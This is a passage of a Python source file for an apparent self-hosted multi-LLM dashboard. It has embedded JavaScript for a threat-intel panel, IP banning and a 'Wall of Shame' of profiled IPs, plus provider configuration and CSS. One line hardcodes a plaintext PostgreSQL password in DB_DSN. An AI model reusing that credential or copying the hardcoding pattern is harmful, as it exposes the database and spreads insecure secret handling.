summaryDiv.style.cssText = 'display:grid;grid-template-columns:repeat(auto-fit,minmax(120px,1fr));gap:6px;margin-bottom:8px';
|
|
[
|
|
['Threat', ai.threat_level||'?', threatColor[ai.threat_level]||'#7a7872'],
|
|
['Type', ai.classification||'?', '#c084fc'],
|
|
['Confidence', ((ai.confidence||0)*100).toFixed(0)+'%', '#e2b55a'],
|
|
['Automated', ai.likely_automated?'YES':'No', ai.likely_automated?'#e05252':'#4ade80']
|
|
].forEach(function(f){
|
|
var box = document.createElement('div'); box.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
|
|
var label = document.createElement('span'); label.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
label.textContent = f[0] + ': ';
|
|
var val = document.createElement('span'); val.style.cssText = 'font-weight:700;color:'+f[2];
|
|
val.textContent = f[1];
|
|
box.appendChild(label); box.appendChild(val); summaryDiv.appendChild(box);
|
|
});
|
|
aiDiv.appendChild(summaryDiv);
|
|
|
|
if (ai.summary) {
|
|
var summ = document.createElement('div');
|
|
summ.style.cssText = 'font-size:11px;color:#e8e6e3;margin-bottom:6px;line-height:1.5';
|
|
summ.textContent = ai.summary; aiDiv.appendChild(summ);
|
|
}
|
|
if (ai.pattern) {
|
|
var pat = document.createElement('div');
|
|
pat.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#c084fc;margin-bottom:6px';
|
|
pat.textContent = 'Pattern: ' + ai.pattern; aiDiv.appendChild(pat);
|
|
}
|
|
if (ai.indicators && ai.indicators.length) {
|
|
var indDiv = document.createElement('div');
|
|
indDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#7a7872;margin-bottom:6px';
|
|
indDiv.textContent = 'Indicators: ' + ai.indicators.join(' | '); aiDiv.appendChild(indDiv);
|
|
}
|
|
if (ai.recommendation) {
|
|
var rec = document.createElement('div');
|
|
rec.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#4ade80;border-left:2px solid #4ade80;padding-left:8px;margin-top:4px';
|
|
rec.textContent = 'Recommendation: ' + ai.recommendation; aiDiv.appendChild(rec);
|
|
}
|
|
panel.appendChild(aiDiv);
|
|
} else if (d.ai_analysis && d.ai_analysis.error) {
|
|
var errDiv = document.createElement('div');
|
|
errDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#e05252';
|
|
errDiv.textContent = 'AI error: ' + d.ai_analysis.error;
|
|
panel.appendChild(errDiv);
|
|
}
|
|
// Saved indicator
|
|
if (d.saved) {
|
|
var savedDiv = document.createElement('div');
|
|
savedDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#4ade80;margin-top:8px;text-transform:uppercase;letter-spacing:1px';
|
|
savedDiv.textContent = '✓ Saved to Wall of Shame database';
|
|
panel.appendChild(savedDiv);
|
|
} else if (d.save_error) {
|
|
var seDiv = document.createElement('div');
|
|
seDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#e05252;margin-top:8px';
|
|
seDiv.textContent = 'Save error: ' + d.save_error;
|
|
panel.appendChild(seDiv);
|
|
}
|
|
} catch(e) {
|
|
panel.textContent = 'Error: ' + e.message;
|
|
panel.style.color = '#e05252';
|
|
}
|
|
}
|
|
|
|
async function banAction(ip, action) {
|
|
try {
|
|
var r = await fetch('/api/admin/security/ban', {
|
|
method: 'POST', headers: {'Content-Type': 'application/json'},
|
|
body: JSON.stringify({ip: ip, action: action})
|
|
});
|
|
var d = await r.json();
|
|
if (d.ok) {
|
|
var el = document.getElementById('ip-' + ip.replace(/\./g, '-'));
|
|
if (el) { el.style.transition = 'opacity 0.3s'; el.style.opacity = '0.3'; }
|
|
setTimeout(function() { loadThreats(); }, 500);
|
|
} else { alert('Error: ' + (d.error || 'unknown')); }
|
|
} catch(e) { alert('Error: ' + e.message); }
|
|
}
|
|
|
|
async function loadWallOfShame() {
|
|
var view = document.getElementById('log-view');
|
|
view.textContent = '';
|
|
try {
|
|
var r = await fetch('/api/admin/wall-of-shame?sort=enriched_at&order=desc');
|
|
var d = await r.json();
|
|
var entries = d.entries || [];
|
|
if (!entries.length) {
|
|
var e = document.createElement('div'); e.className = 'empty';
|
|
e.textContent = 'No enriched IPs yet. Use the "Enrich" button on Threat Intel to scan IPs.';
|
|
view.appendChild(e); return;
|
|
}
|
|
|
|
// Stats bar
|
|
var stats = document.createElement('div');
|
|
stats.style.cssText = 'display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin-bottom:16px';
|
|
var total = entries.length;
|
|
var crit = entries.filter(function(e){return e.threat_level==='critical'}).length;
|
|
var high = entries.filter(function(e){return e.threat_level==='high'}).length;
|
|
var proxies = entries.filter(function(e){return e.is_proxy}).length;
|
|
var automated = entries.filter(function(e){return e.likely_automated}).length;
|
|
[{v:total,l:'Total Profiled',c:'#d946ef'},{v:crit,l:'Critical',c:'#e05252'},{v:high,l:'High',c:'#f59e0b'},{v:proxies,l:'Proxies',c:'#e05252'},{v:automated,l:'Automated',c:'#c084fc'}].forEach(function(s){
|
|
var box = document.createElement('div');
|
|
box.style.cssText = 'background:rgba(0,0,0,0.3);border:2px solid #2a2d35;border-radius:2px;padding:12px;text-align:center;backdrop-filter:blur(16px)';
|
|
var val = document.createElement('div');
|
|
val.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:20px;font-weight:700;color:'+s.c;
|
|
val.textContent = s.v;
|
|
var lab = document.createElement('div');
|
|
lab.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:#7a7872;margin-top:4px';
|
|
lab.textContent = s.l;
|
|
box.appendChild(val); box.appendChild(lab); stats.appendChild(box);
|
|
});
|
|
view.appendChild(stats);
|
|
|
|
// Table
|
|
var table = document.createElement('div');
|
|
table.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
|
|
|
|
// Header
|
|
var hdr = document.createElement('div');
|
|
hdr.style.cssText = 'display:grid;grid-template-columns:130px 70px 100px 1fr 80px 60px;gap:8px;padding:8px 12px;border-bottom:2px solid #2a2d35;color:#7a7872;text-transform:uppercase;letter-spacing:1px;font-size:8px;font-weight:700';
|
|
['IP','Threat','Type','Summary','Country','Ports'].forEach(function(h){
|
|
var cell = document.createElement('span'); cell.textContent = h; hdr.appendChild(cell);
|
|
});
|
|
table.appendChild(hdr);
|
|
|
|
entries.forEach(function(e) {
|
|
var row = document.createElement('div');
|
|
row.style.cssText = 'display:grid;grid-template-columns:130px 70px 100px 1fr 80px 60px;gap:8px;padding:8px 12px;border-bottom:1px solid rgba(42,45,53,0.3);align-items:center;cursor:pointer;transition:background 0.1s';
|
|
row.onmouseenter = function(){row.style.background='rgba(217,70,239,0.03)'};
|
|
row.onmouseleave = function(){row.style.background='transparent'};
|
|
|
|
// IP
|
|
var ipCell = document.createElement('span'); ipCell.style.cssText = 'font-weight:700;color:#e8e6e3';
|
|
ipCell.textContent = e.ip; row.appendChild(ipCell);
|
|
|
|
// Threat
|
|
var threatColors = {critical:'#e05252',high:'#f59e0b',medium:'#e2b55a',low:'#7a7872'};
|
|
var tCell = document.createElement('span'); tCell.style.cssText = 'font-weight:700;color:'+(threatColors[e.threat_level]||'#7a7872');
|
|
tCell.textContent = (e.threat_level||'?').toUpperCase(); row.appendChild(tCell);
|
|
|
|
// Type
|
|
var cCell = document.createElement('span'); cCell.style.color = '#c084fc';
|
|
cCell.textContent = e.classification || e.attack_type || '?'; row.appendChild(cCell);
|
|
|
|
// Summary
|
|
var sCell = document.createElement('span'); sCell.style.cssText = 'color:#7a7872;overflow:hidden;text-overflow:ellipsis;white-space:nowrap';
|
|
sCell.textContent = e.summary || ''; sCell.title = e.summary || ''; row.appendChild(sCell);
|
|
|
|
// Country
|
|
var coCell = document.createElement('span'); coCell.style.color = '#e8e6e3';
|
|
coCell.textContent = e.country_code || '?'; row.appendChild(coCell);
|
|
|
|
// Ports
|
|
var pCell = document.createElement('span'); pCell.style.color = '#e05252';
|
|
var ports = e.open_ports || [];
|
|
pCell.textContent = ports.length ? ports.join(',') : '-'; row.appendChild(pCell);
|
|
|
|
// Click to expand detail
|
|
var detail = document.createElement('div');
|
|
detail.style.cssText = 'display:none;grid-column:1/-1;padding:10px 0;border-bottom:1px solid rgba(217,70,239,0.15)';
|
|
row.onclick = function() {
|
|
if (detail.style.display === 'none') {
|
|
detail.style.display = 'block';
|
|
detail.textContent = '';
|
|
var grid = document.createElement('div');
|
|
grid.style.cssText = 'display:grid;grid-template-columns:repeat(auto-fit,minmax(180px,1fr));gap:6px;font-size:10px';
|
|
var fields = [
|
|
['ISP', e.isp], ['Org', e.org], ['ASN', e.asn],
|
|
['City', (e.city||'?')+', '+(e.country||'?')],
|
|
['Proxy', e.is_proxy?'YES':'No'], ['Hosting', e.is_hosting?'YES':'No'],
|
|
['Confidence', ((e.confidence||0)*100).toFixed(0)+'%'],
|
|
['Automated', e.likely_automated?'YES':'No'],
|
|
['Blocklists', (e.blocklist_count||0)+'/'+(e.blocklist_total||0)],
|
|
['Log Entries', e.log_count||0],
|
|
['Scanned', e.enriched_at ? new Date(e.enriched_at).toLocaleString() : '?'],
|
|
['Updated', e.updated_at ? new Date(e.updated_at).toLocaleString() : '?']
|
|
];
|
|
fields.forEach(function(f) {
|
|
var box = document.createElement('div');
|
|
var label = document.createElement('span'); label.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
label.textContent = f[0]+': ';
|
|
var val = document.createElement('span');
|
|
val.style.color = (f[0]==='Proxy'&&e.is_proxy)||(f[0]==='Hosting'&&e.is_hosting)||(f[0]==='Automated'&&e.likely_automated) ? '#e05252' : '#e8e6e3';
|
|
val.textContent = f[1];
|
|
box.appendChild(label); box.appendChild(val); grid.appendChild(box);
|
|
});
|
|
detail.appendChild(grid);
|
|
if (e.pattern) {
|
|
var pat = document.createElement('div');
|
|
pat.style.cssText = 'margin-top:6px;color:#c084fc;font-size:10px';
|
|
pat.textContent = 'Pattern: ' + e.pattern; detail.appendChild(pat);
|
|
}
|
|
if (e.recommendation) {
|
|
var rec = document.createElement('div');
|
|
rec.style.cssText = 'margin-top:4px;color:#4ade80;border-left:2px solid #4ade80;padding-left:8px;font-size:10px';
|
|
rec.textContent = 'Rec: ' + e.recommendation; detail.appendChild(rec);
|
|
}
|
|
if (e.indicators && e.indicators.length) {
|
|
var ind = document.createElement('div');
|
|
ind.style.cssText = 'margin-top:4px;color:#7a7872;font-size:9px';
|
|
ind.textContent = 'Indicators: ' + e.indicators.join(' | '); detail.appendChild(ind);
|
|
}
|
|
} else {
|
|
detail.style.display = 'none';
|
|
}
|
|
};
|
|
table.appendChild(row);
|
|
table.appendChild(detail);
|
|
});
|
|
view.appendChild(table);
|
|
} catch(e) {
|
|
var err = document.createElement('div'); err.className = 'empty'; err.textContent = 'Error: ' + e.message;
|
|
view.appendChild(err);
|
|
}
|
|
}
|
|
|
|
loadLogs();
|
|
setInterval(function() { if (currentSource !== 'runs' && currentSource !== 'threats' && currentSource !== 'shame') loadLogs(); }, 10000);
|
|
</script>
|
|
</body></html>"""
|
|
|
|
|
|
CONFIG_PATH = "/root/llm_team_config.json"
|
|
DEFAULT_CONFIG = {
|
|
"providers": {
|
|
"ollama": {"enabled": True, "base_url": "http://localhost:11434", "timeout": 300},
|
|
"openrouter": {"enabled": False, "base_url": "https://openrouter.ai/api/v1", "api_key": "", "timeout": 120},
|
|
"openai": {"enabled": False, "base_url": "https://api.openai.com/v1", "api_key": "", "timeout": 120},
|
|
"anthropic": {"enabled": False, "base_url": "https://api.anthropic.com/v1", "api_key": "", "timeout": 120},
|
|
},
|
|
"disabled_models": [],
|
|
"cloud_models": [],
|
|
"timeouts": {"global": 300, "per_model": {}},
|
|
}
|
|
|
|
def load_dotenv():
|
|
for p in ["/root/.env", "/home/profit/.env"]:
|
|
if os.path.exists(p):
|
|
with open(p) as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if line and not line.startswith("#") and "=" in line:
|
|
k, v = line.split("=", 1)
|
|
os.environ.setdefault(k.strip(), v.strip())
|
|
|
|
load_dotenv()
|
|
|
|
def load_config():
|
|
if os.path.exists(CONFIG_PATH):
|
|
with open(CONFIG_PATH) as f:
|
|
cfg = json.load(f)
|
|
# merge any missing defaults
|
|
for k, v in DEFAULT_CONFIG.items():
|
|
cfg.setdefault(k, v)
|
|
for k, v in DEFAULT_CONFIG["providers"].items():
|
|
cfg["providers"].setdefault(k, v)
|
|
return cfg
|
|
return json.loads(json.dumps(DEFAULT_CONFIG))
|
|
|
|
def save_config(cfg):
|
|
with open(CONFIG_PATH, "w") as f:
|
|
json.dump(cfg, f, indent=2)
|
|
|
|
def get_api_key(provider_name):
|
|
cfg = load_config()
|
|
prov = cfg["providers"].get(provider_name, {})
|
|
key = prov.get("api_key", "")
|
|
if key:
|
|
return key
|
|
env_map = {"openrouter": "OPENROUTER_API_KEY", "openai": "OPENAI_API_KEY", "anthropic": "ANTHROPIC_API_KEY"}
|
|
return os.environ.get(env_map.get(provider_name, ""), "")
|
|
|
|
DB_DSN = "dbname=knowledge_base user=kbuser password=IPbLBA0EQI8u4TeM2YZrbm1OAy5nSwqC host=localhost"
|
|
|
|
def get_db():
|
|
return psycopg2.connect(DB_DSN)
|
|
|
|
def save_run(mode, prompt, config_data, responses):
|
|
models = list({r.get("model", "") for r in responses if r.get("model")})
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute(
|
|
"INSERT INTO team_runs (mode, prompt, config, responses, models_used) VALUES (%s, %s, %s, %s, %s)",
|
|
(mode, prompt, json.dumps(config_data), json.dumps(responses), models)
|
|
)
|
|
conn.commit()
|
|
except Exception as e:
|
|
print(f"[DB] save_run error: {e}")
|
|
|
|
HTML = r"""
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>LLM Team</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root {
|
|
--bg: #08090c; --surface: rgba(14,16,22,0.82); --surface2: rgba(20,22,30,0.7); --border: #2a2d35;
|
|
--text: #e8e6e3; --text2: #7a7872; --accent: #e2b55a; --accent2: #f0cc74;
|
|
--green: #4ade80; --orange: #f59e0b; --red: #e05252; --blue: #5b9cf5;
|
|
--glow: rgba(226,181,90,0.06);
|
|
}
|
|
* { box-sizing: border-box; margin: 0; padding: 0; }
|
|
body { font-family: 'Inter', -apple-system, sans-serif; background: var(--bg); color: var(--text); min-height: 100vh; overflow-x: hidden; }
|
|
canvas#bg-grid { position: fixed; inset: 0; z-index: 0; pointer-events: none; }
|
|
.scanlines { position: fixed; inset: 0; z-index: 1; pointer-events: none; background: repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(0,0,0,0.02) 2px, rgba(0,0,0,0.02) 4px); }
|
|
.vignette { position: fixed; inset: 0; z-index: 1; pointer-events: none; background: radial-gradient(ellipse at center, transparent 40%, rgba(0,0,0,0.5) 100%); }
|
|
.container { max-width: 1440px; margin: 0 auto; padding: 16px 28px; position: relative; z-index: 10; }
|
|
header { display: flex; align-items: center; gap: 14px; padding: 18px 0; border-bottom: 2px solid var(--border); margin-bottom: 22px; }
|
|
header h1 { font-family: 'JetBrains Mono', monospace; font-size: 20px; font-weight: 700; letter-spacing: -0.5px; }
|
|
header h1 span { color: var(--accent); }
|
|
header .badge { background: rgba(0,0,0,0.3); border: 2px solid var(--border); padding: 4px 12px; border-radius: 2px; font-size: 10px; color: var(--text2); font-weight: 600; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; backdrop-filter: blur(10px); }
|
|
header .badge .dot { display: inline-block; width: 6px; height: 6px; border-radius: 50%; background: var(--green); margin-right: 6px; vertical-align: middle; box-shadow: 0 0 8px var(--green); animation: pulse-dot 2s ease-in-out infinite; }
|
|
@keyframes pulse-dot { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }
|
|
.grid { display: grid; grid-template-columns: 420px 1fr; gap: 18px; align-items: start; }
|
|
.panel { background: var(--surface); border: 2px solid var(--border); border-radius: 2px; padding: 20px; backdrop-filter: blur(16px); position: relative; }
|
|
.panel::before { content: ''; position: absolute; top: -1px; left: 16px; right: 16px; height: 1px; background: linear-gradient(90deg, transparent, rgba(226,181,90,0.15), transparent); }
|
|
.panel h2 { font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 2px; color: var(--text2); margin-bottom: 14px; font-weight: 600; }
|
|
.mode-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 5px; margin-bottom: 16px; }
|
|
.mode-tab { padding: 8px 6px; background: rgba(0,0,0,0.3); border: 2px solid transparent; border-radius: 2px; color: var(--text2); cursor: pointer; text-align: center; font-size: 11px; font-weight: 600; transition: all 0.15s; font-family: 'Inter', sans-serif; }
|
|
.mode-tab:hover { border-color: var(--accent); color: var(--text); background: var(--glow); }
|
|
.mode-tab.active { border-color: var(--accent); background: var(--glow); color: var(--accent); box-shadow: 0 0 16px rgba(226,181,90,0.08), inset 0 1px 0 rgba(226,181,90,0.1); }
|
|
.mode-tab small { display: block; font-weight: 400; font-size: 9px; margin-top: 2px; opacity: 0.5; font-family: 'JetBrains Mono', monospace; }
|
|
.mode-tab.crazy { background: linear-gradient(135deg, rgba(20,5,35,0.8), rgba(40,15,60,0.8)); border-color: rgba(168,85,247,0.2); }
|
|
.mode-tab.crazy:hover { border-color: #a855f7; }
|
|
.mode-tab.crazy.active { background: linear-gradient(135deg, rgba(40,15,60,0.9), rgba(65,25,95,0.9)); border-color: #a855f7; color: #c084fc; box-shadow: 0 0 16px rgba(168,85,247,0.12); }
|
|
.model-list { display: flex; flex-direction: column; gap: 4px; margin-bottom: 14px; }
|
|
.model-card { display: flex; align-items: center; gap: 10px; padding: 7px 10px; background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; cursor: pointer; transition: all 0.15s; user-select: none; }
|
|
.model-card:hover { border-color: rgba(226,181,90,0.3); }
|
|
.model-card.selected { border-color: var(--accent); background: var(--glow); }
|
|
.model-card .check { width: 16px; height: 16px; border: 2px solid var(--border); border-radius: 1px; display: flex; align-items: center; justify-content: center; font-size: 10px; flex-shrink: 0; transition: all 0.15s; }
|
|
.model-card.selected .check { background: var(--accent); border-color: var(--accent); color: #08090c; }
|
|
.model-card .info { flex: 1; min-width: 0; }
|
|
.model-card .name { font-weight: 600; font-size: 12px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
|
.model-card .meta { font-size: 10px; color: var(--text2); font-family: 'JetBrains Mono', monospace; }
|
|
.prov-badge { font-size: 8px; padding: 2px 6px; border-radius: 1px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.8px; font-family: 'JetBrains Mono', monospace; border: 1px solid; }
|
|
.prov-badge.ollama { background: rgba(74,222,128,0.08); color: var(--green); border-color: rgba(74,222,128,0.2); }
|
|
.prov-badge.openrouter { background: rgba(91,156,245,0.08); color: var(--blue); border-color: rgba(91,156,245,0.2); }
|
|
.prov-badge.openai { background: rgba(226,181,90,0.08); color: var(--accent2); border-color: rgba(226,181,90,0.2); }
|
|
.prov-badge.anthropic { background: rgba(236,72,153,0.08); color: #ec4899; border-color: rgba(236,72,153,0.2); }
|
|
.config-section { margin-bottom: 10px; }
|
|
.config-row { display: flex; gap: 8px; align-items: center; margin-bottom: 6px; font-size: 12px; }
|
|
.config-row label { width: 90px; color: var(--text2); flex-shrink: 0; font-weight: 600; font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.config-row select, .config-row input { flex: 1; background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 6px 8px; font-size: 12px; }
|
|
.config-row select:focus, .config-row input:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
|
|
.pipeline-step { display: flex; align-items: center; gap: 8px; padding: 7px; margin-bottom: 4px; background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 2px; font-size: 12px; }
|
|
.pipeline-step .step-num { width: 22px; height: 22px; background: var(--accent); color: #08090c; border-radius: 2px; display: flex; align-items: center; justify-content: center; font-weight: 700; font-size: 11px; flex-shrink: 0; font-family: 'JetBrains Mono', monospace; }
|
|
.pipeline-step select, .pipeline-step input { background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 4px 6px; font-size: 11px; }
|
|
.pipeline-step input { flex: 1; }
|
|
.pipeline-step .remove-step { background: none; border: none; color: var(--red); cursor: pointer; font-size: 14px; padding: 0 4px; opacity: 0.6; transition: opacity 0.15s; }
|
|
.pipeline-step .remove-step:hover { opacity: 1; }
|
|
.add-step-btn { width: 100%; padding: 7px; background: transparent; border: 2px dashed var(--border); border-radius: 2px; color: var(--text2); cursor: pointer; font-size: 11px; margin-bottom: 14px; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.add-step-btn:hover { border-color: var(--accent); color: var(--accent); }
|
|
.prompt-area { width: 100%; min-height: 90px; background: rgba(0,0,0,0.4); border: 2px solid var(--border); border-radius: 2px; color: var(--text); padding: 14px; font-size: 13px; font-family: 'Inter', sans-serif; resize: vertical; margin-bottom: 10px; line-height: 1.5; }
|
|
.prompt-area:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent), 0 0 20px rgba(226,181,90,0.06); }
|
|
.prompt-area::placeholder { color: var(--text2); opacity: 0.5; font-family: 'JetBrains Mono', monospace; font-size: 12px; }
|
|
.run-btn { width: 100%; padding: 12px; background: var(--accent); color: #08090c; border: none; border-radius: 2px; font-size: 13px; font-weight: 700; cursor: pointer; transition: all 0.15s; letter-spacing: 1px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; }
|
|
.run-btn:hover { background: var(--accent2); box-shadow: 0 0 24px rgba(226,181,90,0.2), 0 0 60px rgba(226,181,90,0.06); transform: translateY(-1px); }
|
|
.run-btn:active { transform: translateY(0); }
|
|
.run-btn:disabled { opacity: 0.3; cursor: not-allowed; filter: none; transform: none; box-shadow: none; }
|
|
.output-area { display: flex; flex-direction: column; gap: 10px; }
|
|
.output-card { background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; overflow: hidden; backdrop-filter: blur(8px); }
|
|
.output-card .card-header { display: flex; align-items: center; gap: 8px; padding: 10px 14px; border-bottom: 2px solid var(--border); font-size: 12px; font-weight: 600; font-family: 'JetBrains Mono', monospace; }
|
|
.output-card .card-header .dot { width: 8px; height: 8px; border-radius: 1px; flex-shrink: 0; }
|
|
.output-card .card-header .role-tag { margin-left: auto; font-size: 9px; font-weight: 600; color: var(--text2); background: rgba(0,0,0,0.4); padding: 2px 8px; border-radius: 1px; border: 1px solid var(--border); text-transform: uppercase; letter-spacing: 1px; font-family: 'JetBrains Mono', monospace; }
|
|
.output-card .card-body { padding: 14px; font-size: 13px; line-height: 1.7; white-space: pre-wrap; max-height: 500px; overflow-y: auto; }
|
|
.synthesis-card { border-color: var(--accent); }
|
|
.synthesis-card .card-header { background: var(--glow); }
|
|
.synthesis-card::before { content: ''; position: absolute; top: -1px; left: 0; right: 0; height: 1px; background: var(--accent); opacity: 0.3; }
|
|
.error-card { border-color: var(--red); }
|
|
.error-card .card-header { background: rgba(224,82,82,0.08); }
|
|
.error-card .card-body { color: var(--red); font-family: 'JetBrains Mono', monospace; font-size: 12px; }
|
|
.error-card .error-link { display: block; padding: 6px 14px 10px; font-family: 'JetBrains Mono', monospace; font-size: 9px; text-transform: uppercase; letter-spacing: 1px; color: var(--red); opacity: 0.6; text-decoration: none; }
|
|
.error-card .error-link:hover { opacity: 1; text-decoration: underline; }
|
|
.crazy-card { border-color: #a855f7; }
|
|
.crazy-card .card-header { background: rgba(168,85,247,0.08); }
|
|
.status-bar { display: flex; align-items: center; gap: 8px; padding: 10px 14px; background: rgba(0,0,0,0.3); border: 2px solid var(--border); border-radius: 2px; font-size: 11px; color: var(--text2); font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.spinner { width: 14px; height: 14px; border: 2px solid var(--border); border-top-color: var(--accent); border-radius: 50%; animation: spin 0.7s linear infinite; }
|
|
@keyframes spin { to { transform: rotate(360deg); } }
|
|
.progress-panel { background: rgba(8,9,12,0.97); border: 2px solid #d946ef; border-radius: 2px; padding: 12px 14px; position: sticky; top: 0; z-index: 50; backdrop-filter: blur(20px); margin-bottom: 10px; transition: opacity 2s, box-shadow 0.3s; box-shadow: 0 4px 24px rgba(217,70,239,0.15), 0 0 40px rgba(0,0,0,0.5); }
|
|
.progress-panel.done { border-color: #4ade80; box-shadow: 0 2px 16px rgba(74,222,128,0.15); }
|
|
.progress-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 8px; }
|
|
.progress-header .prog-mode { font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 1.5px; color: #d946ef; font-weight: 700; }
|
|
.progress-header .prog-time { font-family: 'JetBrains Mono', monospace; font-size: 10px; color: #f0abfc; letter-spacing: 0.5px; }
|
|
.progress-track { height: 8px; background: rgba(0,0,0,0.5); border: 1px solid rgba(217,70,239,0.3); border-radius: 2px; overflow: hidden; margin-bottom: 6px; }
|
|
.progress-fill { height: 100%; background: linear-gradient(90deg, #d946ef, #a855f7, #22d3ee); transition: width 0.4s ease; box-shadow: 0 0 14px rgba(217,70,239,0.4); position: relative; }
|
|
.progress-fill::after { content: ''; position: absolute; inset: 0; background: linear-gradient(90deg, transparent 60%, rgba(255,255,255,0.2)); animation: progress-shimmer 2s ease-in-out infinite; }
|
|
@keyframes progress-shimmer { 0%,100% { transform: translateX(-100%); } 50% { transform: translateX(100%); } }
|
|
.progress-steps { display: flex; gap: 4px; margin-bottom: 6px; }
|
|
.progress-step { flex: 1; height: 4px; background: rgba(217,70,239,0.15); border-radius: 1px; transition: background 0.3s; }
|
|
.progress-step.done { background: linear-gradient(90deg, #d946ef, #4ade80); }
|
|
.progress-step.active { background: #d946ef; animation: step-pulse 1s ease-in-out infinite; box-shadow: 0 0 6px rgba(217,70,239,0.4); }
|
|
@keyframes step-pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.4; } }
|
|
.progress-detail { font-family: 'JetBrains Mono', monospace; font-size: 10px; color: #e0b0ff; display: flex; justify-content: space-between; }
|
|
.progress-detail .prog-substep { max-width: 70%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
|
.progress-detail .prog-stats { color: #c084fc; opacity: 0.7; }
|
|
.prog-metrics { display: grid; grid-template-columns: repeat(auto-fit, minmax(90px, 1fr)); gap: 6px; margin-top: 8px; padding-top: 8px; border-top: 1px solid rgba(217,70,239,0.15); }
|
|
.prog-metric { text-align: center; padding: 4px 2px; }
|
|
.prog-metric .mv { font-family: 'JetBrains Mono', monospace; font-size: 14px; font-weight: 700; color: #f0abfc; line-height: 1; }
|
|
.prog-metric .ml { font-family: 'JetBrains Mono', monospace; font-size: 7px; text-transform: uppercase; letter-spacing: 1.5px; color: rgba(217,70,239,0.5); margin-top: 3px; }
|
|
.prog-metric.highlight .mv { color: #4ade80; }
|
|
.prog-metric.warn .mv { color: #f59e0b; }
|
|
.prog-metric.err .mv { color: #e05252; }
|
|
.phase-label { font-family: 'JetBrains Mono', monospace; font-size: 9px; text-transform: uppercase; letter-spacing: 2px; color: #4ade80; padding: 12px 0 6px; opacity: 0.8; display: flex; align-items: center; gap: 8px; }
|
|
.phase-label::before { content: ''; flex: 0 0 12px; height: 2px; background: #4ade80; opacity: 0.6; }
|
|
.phase-label::after { content: ''; flex: 1; height: 1px; background: linear-gradient(90deg, rgba(74,222,128,0.3), transparent); }
|
|
.sample-prompts { display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0; }
|
|
.sample-chip { background: rgba(0,0,0,0.3); border: 1px solid var(--border); border-radius: 2px; padding: 6px 12px; font-size: 11px; color: var(--text2); cursor: pointer; transition: all 0.15s; line-height: 1.4; max-width: 100%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
|
.sample-chip:hover { border-color: var(--accent); color: var(--accent); background: var(--glow); }
|
|
.sample-chip .chip-level { font-size: 8px; font-weight: 700; text-transform: uppercase; margin-right: 6px; opacity: 0.5; font-family: 'JetBrains Mono', monospace; letter-spacing: 1px; }
|
|
.empty-state { text-align: center; padding: 80px 20px; color: var(--text2); }
|
|
.empty-state .icon { font-size: 32px; margin-bottom: 16px; opacity: 0.2; }
|
|
.empty-state p { font-size: 12px; line-height: 1.6; max-width: 280px; margin: 0 auto; font-family: 'JetBrains Mono', monospace; }
|
|
.empty-state p strong { color: var(--accent); font-weight: 600; }
|
|
.mode-desc { background: rgba(0,0,0,0.25); border-left: 2px solid var(--accent); border-radius: 0; padding: 10px 14px; font-size: 11px; color: var(--text2); margin-bottom: 14px; line-height: 1.5; font-family: 'JetBrains Mono', monospace; }
|
|
.left-scroll { max-height: calc(100vh - 72px); overflow-y: auto; display: flex; flex-direction: column; gap: 12px; }
|
|
.left-scroll::-webkit-scrollbar { width: 3px; }
|
|
.left-scroll::-webkit-scrollbar-track { background: transparent; }
|
|
.left-scroll::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
|
|
.left-scroll::-webkit-scrollbar-thumb:hover { background: rgba(226,181,90,0.3); }
|
|
